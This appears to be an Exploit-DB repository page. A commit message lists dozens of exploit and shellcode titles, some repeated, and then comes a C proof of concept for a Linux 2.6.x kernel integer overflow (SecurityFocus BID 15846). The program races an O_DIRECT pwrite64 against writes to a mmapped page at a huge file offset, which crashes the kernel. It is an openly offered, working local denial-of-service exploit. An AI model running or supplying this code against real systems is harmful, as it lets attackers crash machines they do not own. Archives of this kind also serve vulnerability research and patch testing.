880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
68 lines
No EOL
1.4 KiB
C
68 lines
No EOL
1.4 KiB
C
/*
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source: https://www.securityfocus.com/bid/15846/info
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Linux kernel is prone to a local integer-overflow vulnerability.
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A successful attack can result in a kernel crash. Arbitrary code execution may be possible as well, but this has not been confirmed.
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All 2.6.x versions of the Linux kernel are considered vulnerable at the moment.
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*/
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#define _GNU_SOURCE
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#define __USE_FILE_OFFSET64
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#include <stdio.h>
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#include <sys/mman.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <fcntl.h>
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#include <unistd.h>
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#define FILENAME "/tmp/bigfile"
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int main(int argc, char **argv)
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{
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int fd, fd1, ret;
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char *buf;
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char wbuf[8192];
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unsigned long long offset = 0xffffff000ULL;
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char *p=wbuf;
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fd = open(FILENAME, O_RDWR|O_CREAT|O_LARGEFILE/*|O_TRUNC*/, 0644);
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if (fd < 0) {
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perror(FILENAME);
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return -1;
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}
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ftruncate64(fd, offset + 4096*4);
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buf = mmap64(NULL, 4096*4, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);
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if (buf == MAP_FAILED) {
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perror("mmap");
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return -1;
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}
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fd1 = open(FILENAME, O_RDWR|O_DIRECT|O_LARGEFILE, 0644);
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if (fd < 0) {
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perror(FILENAME);
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return -1;
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}
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p = (char *)((unsigned long) p | 4095)+1;
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if (fork()) {
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while(1) {
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/* map in the page */
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buf[10] = 1;
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}
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} else {
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ret = pwrite64(fd1, p, 4096, offset);
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if (ret < 4096) {
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printf("write: %d %p\n", ret, p);
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perror("write");
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return -1;
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}
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}
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return 0;
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} |